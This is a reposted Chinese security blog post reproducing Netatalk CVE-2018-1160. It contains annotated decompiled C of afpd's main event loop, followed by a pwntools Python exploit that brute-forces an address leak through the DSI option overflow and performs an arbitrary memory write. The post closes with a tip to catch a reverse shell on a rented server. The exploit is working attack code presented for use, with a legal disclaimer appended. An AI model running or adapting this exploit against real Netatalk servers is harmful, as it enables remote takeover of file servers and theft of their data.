if ( (unsignedint)dword_245298<=1 )
gotoLABEL_96;
v39=__errno_location();
v40=strerror(*v39);
v41="main: sigaction: %s";
v42=v40;
v43=250;
gotoLABEL_101;
}
/* ── 2.4 SIGUSR1 (10):用户自定义信号1(触发配置重载)── */
sigemptyset(&act.sa_mask);
// 处理 SIGUSR1 期间屏蔽:SIGALRM SIGTERM SIGHUP SIGCHLD SIGQUIT
sigaddset(&act.sa_mask, 14);
sigaddset(&act.sa_mask, 15);
sigaddset(&act.sa_mask, 1);
sigaddset(&act.sa_mask, 17);
sigaddset(&act.sa_mask, 3);
act.sa_flags=0x10000000;
if ( sigaction(10, &act, 0) <0 )
{
if ( (unsignedint)dword_245298>1 )
{
v48=__errno_location();
v49=strerror(*v48);
v41="main: sigaction: %s";
v42=v49;
v43=262;
gotoLABEL_101;
}
LABEL_96:
exit(3); // 致命错误:退出码 3
}
/* ── 2.5 SIGHUP (1):重新加载配置文件 ── */
sigemptyset(&act.sa_mask);
// 处理 SIGHUP 期间屏蔽:SIGALRM SIGTERM SIGUSR1 SIGCHLD SIGQUIT
sigaddset(&act.sa_mask, 14);
sigaddset(&act.sa_mask, 15);
sigaddset(&act.sa_mask, 10);
sigaddset(&act.sa_mask, 17);
sigaddset(&act.sa_mask, 3);
act.sa_flags=0x10000000;
if ( sigaction(1, &act, 0) <0 )
{
if ( (unsignedint)dword_245298>1 )
{
v56=__errno_location();
v57=strerror(*v56);
v41="main: sigaction: %s";
v42=v57;
v43=274;
gotoLABEL_101;
}
gotoLABEL_96;
}
/* ── 2.6 SIGTERM (15):优雅终止服务 ── */
sigemptyset(&act.sa_mask);
// 处理 SIGTERM 期间屏蔽:SIGALRM SIGHUP SIGUSR1 SIGCHLD SIGQUIT
sigaddset(&act.sa_mask, 14);
sigaddset(&act.sa_mask, 1);
sigaddset(&act.sa_mask, 10);
sigaddset(&act.sa_mask, 17);
sigaddset(&act.sa_mask, 3);
act.sa_flags=0x10000000;
if ( sigaction(15, &act, 0) <0 )
{
if ( (unsignedint)dword_245298>1 )
{
v46=__errno_location();
v47=strerror(*v46);
v41="main: sigaction: %s";
v42=v47;
v43=286;
LABEL_101:
// 统一错误日志入口:级别2(WARN),设施3,文件main.c,行号v43
make_log_entry(2, 3, "main.c", v43, v41, v42);
gotoLABEL_96; // 记录日志后 exit(3)
}
gotoLABEL_96;
}
/* ── 2.7 SIGQUIT (3):立即退出 ── */
sigemptyset(&act.sa_mask);
// 处理 SIGQUIT 期间屏蔽:SIGALRM SIGHUP SIGUSR1 SIGCHLD SIGTERM
sigaddset(&act.sa_mask, 14);
sigaddset(&act.sa_mask, 1);
sigaddset(&act.sa_mask, 10);
sigaddset(&act.sa_mask, 17);
sigaddset(&act.sa_mask, 15);
act.sa_flags=0x10000000;
if ( sigaction(3, &act, 0) <0 )
{
if ( (unsignedint)dword_245298<=1 )
gotoLABEL_96;
v44=__errno_location();
v45=strerror(*v44);
v41="main: sigaction: %s";
v42=v45;
v43=298;
gotoLABEL_101;
}
/* ══════════════════════════════════════════════
* 三、服务初始化
* ══════════════════════════════════════════════ */
// 解除对 SIGALRM/SIGHUP/SIGUSR1/SIGCHLD 的临时屏蔽(SIG_UNBLOCK=0)
// 现在信号处理器已全部注册完毕,可以安全接收信号
sigemptyset(&set);
sigaddset(&set, 14); // SIGALRM
sigaddset(&set, 1); // SIGHUP
sigaddset(&set, 10); // SIGUSR1
sigaddset(&set, 17); // SIGCHLD
pthread_sigmask(0, &set, 0); // SIG_UNBLOCK=0
// 初始化服务器配置(创建监听socket、绑定端口等)
// 返回非0表示没有配置任何服务
if ( (unsignedint)configinit(&unk_25C5C0) )
{
if ( (unsignedint)dword_245298<=1 )
gotoLABEL_44;
v37="main: no servers configured";
v38=327;
gotoLABEL_94; // 记录日志后 exit(2)
}
// 重新阻塞上述信号(SIG_BLOCK=1),保护后续初始化不被信号打断
pthread_sigmask(1, &set, 0); // SIG_BLOCK=1
// 初始化 CNID(Catalog Node ID)子系统
// CNID 是 AFP 协议中用于持久标识文件/目录的唯一编号机制
cnid_init();
// 初始化异步事件(socket)处理器(sub_28480 内部调用 asev_init 等)
// 返回0表示失败
if ( !(unsigned__int8)sub_28480() )
{
if ( (unsignedint)dword_245298>1 )
make_log_entry(2, 3, "main.c", 337, "main: couldn't initialize socket handler", v4);
gotoLABEL_44; // exit(2)
}
/* ── 3.1 提升文件描述符上限 ── */
// 读取当前进程的最大打开文件数限制
v5=getrlimit64(RLIMIT_NOFILE, &rlimits);
v6=__errno_location();
v7=v6; // v7 长期持有 errno 指针,主循环中复用
if ( !v5 ) // getrlimit 成功
{
if ( rlimits.rlim_cur>0xFFFE )
gotoLABEL_16; // 已经够大(>65534),跳过调整
// 将软限制和硬限制都提升到 65535(0xFFFF)
rlimits.rlim_cur=0xFFFF;
if ( rlimits.rlim_max<=0xFFFE )
rlimits.rlim_max=0xFFFF;
// 应用新限制;失败时仅记录警告,不退出
if ( !setrlimit64(RLIMIT_NOFILE, &rlimits) || (unsignedint)dword_245298<=2 )
gotoLABEL_16;
v15=strerror(*v7);
v16="setlimits: increasing limits failed: %s";
v17=v15;
v18=182;
gotoLABEL_88; // 记录 DEBUG 级别日志
}
// getrlimit 调用本身失败(非常罕见)
if ( (unsignedint)dword_245298>2 )
{
v36=strerror(*v6);
v16="setlimits: reading current limits failed: %s";
v17=v36;
v18=174;
LABEL_88:
// 级别3(INFO),记录资源限制操作的日志
make_log_entry(3, 3, "main.c", v18, v16, v17);
}
/* ══════════════════════════════════════════════
* 四、主事件循环
*
* 架构:基于 poll() 的 I/O 多路复用
* - 外层 for 循环:配置重载后重新进入
* - 中层 while(1):处理信号驱动的配置重载(SIGHUP/SIGUSR1)
* - 内层 while(1):处理 poll() 错误(errno==EINTR 时继续)
* - 事件分发:遍历所有就绪的 fd,区分新连接和IPC消息
* ══════════════════════════════════════════════ */
LABEL_16:
for ( i=qword_25C5A8; ; i=qword_25C5A8 ) // qword_25C5A8 = 事件循环结构指针
{
while ( 1 ) // 中层:处理配置重载标志
{
while ( 1 ) // 内层:poll 调用与信号检查
{
LABEL_17:
// 在 poll() 调用前先解除信号屏蔽(SIG_UNBLOCK),
// 确保 poll 期间能接收 SIGCHLD 等信号
pthread_sigmask(1, &set, 0); // SIG_BLOCK — 注:此处屏蔽集合是
// {SIGALRM,SIGHUP,SIGUSR1,SIGCHLD}
// 阻塞等待任意 fd 就绪(timeout=-1 表示无限等待)
// *(pollfd**)i = pollfd 数组指针
// *(int*)(i+20) = pollfd 数组长度(fd 数量)
v9=poll(*(structpollfd**)i, *(int*)(i+20), -1);
// poll 返回后重新屏蔽信号,保护后续处理
pthread_sigmask(0, &set, 0); // SIG_UNBLOCK
/* ── 4.1 SIGCHLD 处理:回收退出的子进程 ── */
v3= (unsignedint)dword_25C5B0;
if ( dword_25C5B0 ) // SIGCHLD 处理器(sub_28340)设置了此标志
{
dword_25C5B0=0; // 清除标志,防止重复处理
// 循环回收所有已退出的子进程(WNOHANG=1,非阻塞)
while ( 1 )
{
// waitpid(-1, ..., WNOHANG):等待任意子进程,不阻塞
// rlimits 在此处复用为 wstatus 存储区(联合体复用栈空间)
v22=waitpid(-1, (int*)&rlimits, 1);
if ( (int)v22<=0 )
gotoLABEL_38; // 没有更多已退出子进程,跳出
/* 分析子进程退出状态(POSIX wstatus 解码):
* 低7位 = 信号编号(非0表示被信号杀死)
* 第8位 = core dump 标志
* 高8位(byte1)= exit code */
if ( (rlimits.rlim_cur&0x7F) !=0 )
{
// 被信号杀死
if ( (char)((rlimits.rlim_cur&0x7F) +1) >1 )
{
// 信号编号 > 0:被特定信号杀死(如 SIGKILL)
if ( (unsignedint)dword_245298<=4 )
gotoLABEL_57;
v24="child[%d]: killed by signal %d";
v25=v22;
v26=154;
gotoLABEL_64;
}
// 信号编号 = 0x7F(停止信号,如 SIGSTOP)?异常情况
if ( (unsignedint)dword_245298>4 )
{
v25=v22;
v24="child[%d]: died";
v26=156;
gotoLABEL_64;
}
}
else
{
// 正常退出(exit()调用)
if ( BYTE1(rlimits.rlim_cur) )
{
// 退出码非0:异常退出
if ( (unsignedint)dword_245298<=4 )
gotoLABEL_57;
v25=v22;
v24="child[%d]: exited %d";
v26=149;
gotoLABEL_64;
}
// 退出码为0:正常完成
if ( (unsignedint)dword_245298>4 )
{
v24="child[%d]: done";
v25=v22;
v26=151;
LABEL_64:
// 级别5(DEBUG)记录子进程退出信息
make_log_entry(5, 3, "main.c", v26, v24, v25);
}
}
LABEL_57:
// 从子进程管理表中移除该子进程,获取其 IPC fd
v23=server_child_remove(qword_25C5B8, v22);
// 如果有有效的 IPC fd,从事件循环中删除
if ( v23!=-1&&!(unsigned__int8)asev_del_fd(qword_25C5A8, v23) && (unsignedint)dword_245298>1 )
make_log_entry(2, 3, "main.c", 164, "child[%d]: asev_del_fd: %d", v22);
}
}
v10=*v7; // 保存当前 errno(poll 可能修改了它)
/* ── 4.2 SIGHUP/SIGUSR1 处理:重载配置 ── */
if ( !dword_25C5B4 )
break; // 无重载标志,跳出内层循环进行正常事件处理
// 有重载请求:先禁止新连接(增加 nologin 计数器)
v19=qword_25C5D8; // 服务器链表头指针(DSI server列表)
++nologin; // nologin > 0 时,新连接将被拒绝
if ( qword_25C5D8 )
{
// 遍历所有服务器,从事件循环中移除监听 socket
// offset 67352 处存储着监听 socket 的 fd
while ( (unsigned__int8)asev_del_fd(qword_25C5A8, *(unsignedint*)(v19+67352)) )
{
v19=*(_QWORD*)v19; // 下一个服务器节点
if ( !v19 )
gotoLABEL_45; // 全部移除成功
}
// asev_del_fd 失败(返回0):记录错误并退出
if ( (unsignedint)dword_245298<=1 )
gotoLABEL_44;
v37="main: reset socket handlers";
v38=369;
LABEL_94:
// 记录错误日志
make_log_entry(2, 3, "main.c", v38, v37, v3);
gotoLABEL_44; // exit(2)
}
LABEL_45:
// 记录配置重载日志
if ( (unsignedint)dword_245298>4 )
make_log_entry(5, 3, "main.c", 373, "re-reading configuration file", v3);
// 释放旧配置
configfree(&unk_25C5C0, 0);
afp_config_free(&unk_25C5C0);
// 重新解析配置文件
if ( (unsignedint)afp_config_parse(&unk_25C5C0, "afpd") )
gotoLABEL_44; // 解析失败,退出
// 重新初始化服务(新配置可能改变了监听端口/地址)
if ( (unsignedint)configinit(&unk_25C5C0) )
{
if ( (unsignedint)dword_245298>1 )
{
v37="config re-read: no servers configured";
v38=382;
gotoLABEL_94;
}
LABEL_44:
exit(2); // 配置错误,退出码2
}
// 重新初始化 socket 事件处理器
if ( !(unsigned__int8)sub_28480() )
{
if ( (unsignedint)dword_245298>1 )
make_log_entry(2, 3, "main.c", 387, "main: couldn't initialize socket handler", v20);
gotoLABEL_44;
}
// 配置重载成功,恢复正常运行
v21=qword_25C5B8;
nologin=0; // 允许新连接
dword_25C5B4=0; // 清除重载标志
*v7=v10; // 恢复 errno
i=qword_25C5A8;
// 向所有现有子进程发送 SIGHUP,让它们也重载配置
if ( v21 )
{
server_child_kill(v21, 1); // 1 = SIGHUP
i=qword_25C5A8;
}
// 内层 while(1) 将继续,回到 LABEL_17 重新 poll
}
/* ── 4.3 poll() 返回值处理 ── */
if ( !v9 )
gotoLABEL_38; // poll 超时(返回0),回到顶部继续等待
if ( v9<0 )
break; // poll 出错(返回-1),跳出中层循环检查 errno
/* ── 4.4 遍历就绪的 fd,分发事件 ── */
i=qword_25C5A8;
v11=0; // fd 数组索引
v12=qword_25C5A8;
// *(int*)(qword_25C5A8 + 20) = 当前 fd 总数
if ( *(int*)(qword_25C5A8+20) >0 )
{
while ( 1 )
{
// 检查 revents 字段(offset+6)是否有事件:
// 0x39 = POLLIN(0x01)|POLLPRI(0x02)|POLLERR(0x08)|POLLHUP(0x10)|POLLRDNORM(0x40)
// 实际使用的位:0x01(POLLIN) | 0x08(POLLERR) | 0x10(POLLHUP) | 0x20(POLLRDBAND)
if ( (*(_BYTE*)(*(_QWORD*)v12+8*v11+6) &0x39) !=0 )
{
// 获取该 fd 对应的用户数据结构(附加在 pollfd 后的元数据)
v14=*(_QWORD*)(v12+8) +16*v11;
/* ── 4.4.1 类型0:子进程 IPC 消息 ── */
if ( !*(_DWORD*)v14 )
{
// v29 指向子进程描述符结构
v29=*(_DWORD**)(v14+8);
if ( (unsignedint)dword_245298>5 )
make_log_entry(6, 3, "main.c", 440, "main: IPC request from child[%u]", *v29);
// 从子进程读取 IPC 消息(如用户认证结果、会话信息等)
v30=ipc_server_read(qword_25C5B8, (unsignedint)v29[12]); // v29[12] = IPC fd
v12=qword_25C5A8;
if ( v30 ) // IPC 读取失败(子进程异常断开)
{
// 从事件循环删除该 IPC fd
if ( !(unsigned__int8)asev_del_fd(qword_25C5A8, (unsignedint)v29[12])
&& (unsignedint)dword_245298>1 )
{
make_log_entry(2, 3, "main.c", 444, "child[%u]: no IPC fd", v31);
}
// 关闭 IPC fd,标记为无效
close(v29[12]);
v29[12] =-1;
v12=qword_25C5A8;
}
gotoLABEL_26;
}
/* ── 4.4.2 类型1:新的 DSI 连接请求 ── */
if ( *(_DWORD*)v14==1 )
{
v13=*(_QWORD*)(v14+8); // DSI 结构指针
rlimits.rlim_cur=0; // 清零,用于接收新子进程信息
// 为新连接创建会话(内部会 fork() 子进程处理该客户端)
// dword_25C5E4 = 最大子进程数限制
if ( (unsignedint)dsi_getsession(v13, qword_25C5B8, (unsignedint)dword_25C5E4, &rlimits) )
{
// fork 或会话建立失败
if ( (unsignedint)dword_245298>1 )
{
v35=strerror(*v7);
make_log_entry(2, 3, "main.c", 467, "dsi_start: session error: %s", v35);
v12=qword_25C5A8;
gotoLABEL_26;
}
}
else
{
if ( !rlimits.rlim_cur )
{
/* ★ 这是 fork() 后的子进程执行路径 ★
* 子进程不返回到主循环,而是:
* 1. 释放父进程的配置资源(不再需要监听其他连接)
* 2. 调用 afp_over_dsi() 进入 AFP 协议处理循环
* 3. exit(0) 正常退出 */
configfree(&unk_25C5C0, v13); // 释放父进程配置(子进程中)
afp_over_dsi(&unk_25C5C0); // 处理单个客户端的 AFP 会话
exit(0);
}
/* 父进程执行路径:rlimits.rlim_cur 指向新子进程描述符 */
rlim_cur=rlimits.rlim_cur;
// 将子进程的 IPC fd 注册到事件循环中,以便接收其后续消息
// offset+48 处存储子进程的 IPC socket fd
v32=asev_add_fd(qword_25C5A8, *(unsignedint*)(rlimits.rlim_cur+48), 0, rlimits.rlim_cur);
v33= (__pid_t*)rlim_cur;
if ( !v32 ) // 事件槽已满(超出 asev 容量上限)
{
if ( (unsignedint)dword_245298>1 )
{
make_log_entry(2, 3, "main.c", 419, "out of asev slots");
v33= (__pid_t*)rlim_cur;
}
// 无法监控该子进程:关闭 IPC fd 并强制 SIGKILL 子进程
v59=v33;
close(v33[12]); // 关闭 IPC fd
v34=*v59; // 获取子进程 PID(结构首字段)
v59[12] =-1; // 标记 fd 为无效
kill(v34, 9); // SIGKILL 强制终止子进程
v12=qword_25C5A8;
gotoLABEL_26;
}
}
}
else
{
/* ── 4.4.3 未知类型:记录调试日志并忽略 ── */
if ( (unsignedint)dword_245298<=5 )
gotoLABEL_26;
make_log_entry(6, 3, "main.c", 452, "main: IPC request for unknown type");
}
v12=qword_25C5A8;
}
LABEL_26:
// 移动到下一个 fd
++v11;
i=v12;
// 检查是否已遍历所有 fd
if ( *(_DWORD*)(v12+20) <= (int)v11 )
gotoLABEL_17; // 所有 fd 处理完毕,重新 poll
}
}
}
/* ── 4.5 poll 错误处理 ── */
// poll 返回 -1,检查是否因为信号中断(EINTR=4)
if ( v10!=4 )
break; // 非 EINTR 错误:跳出外层循环,记录错误退出
// errno == EINTR(信号中断了 poll):正常现象,继续主循环
LABEL_38:
; // 空语句,继续 for 循环
}
/* ══════════════════════════════════════════════
* 五、异常退出处理
* ══════════════════════════════════════════════ */
// poll 遇到非 EINTR 的真实错误(如 EBADF, ENOMEM 等)
if ( (unsignedint)dword_245298>1 )
{
v27=strerror(v10); // 将 errno 转换为可读字符串
// 级别2(WARN) 记录错误
make_log_entry(2, 3, "main.c", 408, "main: can't wait for input: %s", v27);
}
// 正常返回(实际上主循环理论上不应退出,到这里说明发生了严重错误)
return0;
}
/*
* ══════════════════════════════════════════════════════════
* 附:关键全局变量说明
* ══════════════════════════════════════════════════════════
*
* qword_25C5A8 — 异步事件(asev)主循环结构指针
* 包含: pollfd数组指针(offset 0)、fd计数(offset 20)、
* 用户数据数组指针(offset 8)
*
* qword_25C5B8 — server_child 结构指针(子进程管理表)
*
* qword_25C5D8 — DSI 服务器链表头(用于遍历所有监听端口)
*
* dword_25C5B0 — SIGCHLD 标志位(子进程退出时由信号处理器置1)
*
* dword_25C5B4 — SIGHUP/SIGUSR1 标志位(触发配置重载)
*
* dword_25C5E0 — 最大子进程数(来自配置文件 maxconnections)
*
* dword_25C5E4 — 最大同时连接数(来自配置)
*
* dword_245298 — 全局日志级别(越大越详细)
* 1=ERROR, 2=WARN, 3=INFO, 4=注意, 5=DEBUG, 6=TRACE
*
* nologin — 非0时禁止新的 AFP 连接(配置重载期间使用)
*
* mask — umask 值(来自配置或命令行)
*
* ══════════════════════════════════════════════════════════
* 附:子进程退出状态解码(POSIX wstatus)
* ══════════════════════════════════════════════════════════
*
* wstatus & 0x7F == 0 → 正常退出,退出码 = (wstatus >> 8) & 0xFF
* wstatus & 0x7F != 0 → 被信号终止,信号号 = wstatus & 0x7F
* wstatus & 0x80 != 0 → 产生了 core dump
*/
给我们的数据就是一个afpd的一个核心部件
main()
├─1.初始化 命令行解析→daemon化→读配置→分配子进程表
├─2.信号注册 7个信号,互相屏蔽,SA_RESTART
├─3.服务启动 configinit→cnid_init→socket事件初始化→提升fd上限
└─4.主事件循环(poll驱动)
├─SIGCHLD→waitpid回收子进程
├─SIGHUP/SIGUSR1→热重载配置文件
└─fd就绪分发
├─类型0:子进程IPC消息→ipc_server_read()
└─类型1:新客户端连接→dsi_getsession() →fork
子进程:afp_over_dsi() ←处理单个AFP会话
父进程:注册子进程IPCfd到事件循环
我们使用的exp是下面这个
frompwnimport*
context(endian='little')
ip ="127.0.0.1"
port=5566
defgen_dsi(data):
dsi =b'\x00\x04\x00\x01'
dsi+=p32(0)
dsi+=p32(len(data),endian='big')
dsi+=p32(0)
dsi+=data
returndsi
defaaw(io,addr,data):
payload =b'\x01'+p8(0x18)+b'a'*0x10+p64(addr)
io.send(gen_dsi(payload))
io.recv()
io.send(gen_dsi(data))
defboom():
leak=b''
forjinrange(8):
foriinrange(256):
if(j>1andj<6): i=255-i
io=remote(ip,port)
payload =b'\x01'+p8(0x11+j)+b'a'*0x10+leak+p8(i)
io.send(gen_dsi(payload))
try:
a=io.recv()
leak+=p8(i)
log.success(str(hex(i)))
io.close()
break
except:
io.close()
returnu64(leak)
leak_addr=boom()
log.success(hex(leak_addr))
input()
io=remote(ip,port)
aaw(io,leak_addr,b"xuanxuan")
最好使用linode的服务器来监听反弹shell
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小M安全 《Netatalk CVE-2018-1160 复现及漏洞利用思路》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论